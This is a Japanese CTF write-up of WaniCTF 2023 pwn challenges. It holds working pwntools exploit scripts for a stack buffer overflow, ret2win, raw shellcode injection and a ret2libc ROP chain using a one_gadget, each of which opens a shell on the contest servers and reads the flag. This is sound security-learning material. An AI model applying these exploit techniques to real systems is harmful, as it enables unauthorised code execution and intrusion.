はじめに

5/4 15:00 ~ 5/6 15:00の期間で行われたWaniCTF 2023にDCDCとして参加し、順位は6位でした。

Pwnしか解いてないし、Pwnもあんまり解けてないです。ずびばぜん゛

Writeup

netcat

「てけいさんやな。任せろ」つって100問解こうとして引っかかりました。よく読んだら3問で良かった。

#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
io = remote('netcat-pwn.wanictf.org', 9001)


for _ in range(3):
    io.recvuntil(b'+-----------------------------------------+')
    io.recvuntil(b'+-----------------------------------------+')
    line = io.recvuntil(b'=').decode()[0:-1]
    ans = eval(line)
    io.sendline(str(ans).encode())

io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')

only once

int main() {
  init();
  srand((unsigned int)time(NULL));

  int x = rand_gen(), y = rand_gen();
  int score = 0, chall = 1;
  char buf[8];

  while (1) {
    printf("\n+---------------------------------------+\n");
    printf("| your score: %d, remaining %d challenges |\n", score, chall);
    printf("+---------------------------------------+\n\n");

    if (chall == 0) {
      printf("Bye!\n");
      break;
    }
    printf("%3d + %3d = ", x, y);
    scanf("%8s", buf);
    if (atoi(buf) == x + y) {
      printf("Cool!\n");
      score++;
    } else {
      printf("Oops...\n");
      score = 0;
    }
    if (score >= 3) {
      printf("Congrats!\n");
      win();
    }

    x = rand_gen();
    y = rand_gen();
    chall--;
  }
  return 0;
}

challが0になっちゃうので、BOFで書き換えます。

#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
io = remote('only-once-pwn.wanictf.org', 9002)

io.sendlineafter(b'=', b'a'*8)

for _ in range(3):
    io.recvuntil(b'+---------------------------------------+')
    io.recvuntil(b'+---------------------------------------+')
    line = io.recvuntil(b'=').decode()[0:-1]
    ans = eval(line)
    io.sendline(str(ans).encode())

io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')

ret2win

めんどいので全部winのアドレスで埋めました

#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('ret2win-pwn.wanictf.org', 9003)

io.sendlineafter(b') > ', p64(e.sym['win'])*8)

io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')

shellcode_basic

普通にシェルコード送るだけでいいです

#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('shell-basic-pwn.wanictf.org', 9004)

payload = asm(shellcraft.sh())
io.sendline(payload)

io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')

beginners ROP

問題名に見覚えがあったのでやるぞ〜って言って読んでみたら普通にちゃんとROPしなきゃいけなくてちょっと面倒だったのでパス。

別の解いてるうちにpr0が解いてくれました

ret2libc

leakもうされてるし秒で解けるやろつって調子乗ってたら普通にone gadgetの条件ミスって時間溶かしました。rbp-0x78がwritableじゃなかった。

#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
libc = ELF('libc.so.6')
context.binary = binfile
io = remote('ret2libc-pwn.wanictf.org', 9007)
#io = process('./chall', env={'LIBC_PRELOAD':'./libc.so.6'})

libc_base = 0

while True:
    line = io.readline().decode()
    if 'TARGET' in line:
        libc_base = int(line.split()[2], 16) - libc.sym['__libc_start_main'] - 128 + 176
        break

one_gadgets = [0xebcf1, 0xebcf5, 0xebcf8]

pad = pack(e.bss() + 0x78) * 5

rop = ROP(libc)
payload = pad
payload += pack(libc_base + rop.find_gadget(['pop rsi', 'ret']).address)
payload += pack(0)
payload += pack(libc_base + rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address)
payload += pack(0)
payload += pack(0)
payload += pack(libc_base + one_gadgets[2]) # rsi == NULL and rdx == NULL

payload += b'b' * (127 - len(payload))

io.sendlineafter(b' > ', payload)

io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')

おわりに

期間中に解いたのはこれだけですね。glibc 2.35なにもわからない

作問に取り掛からないとヤバイです。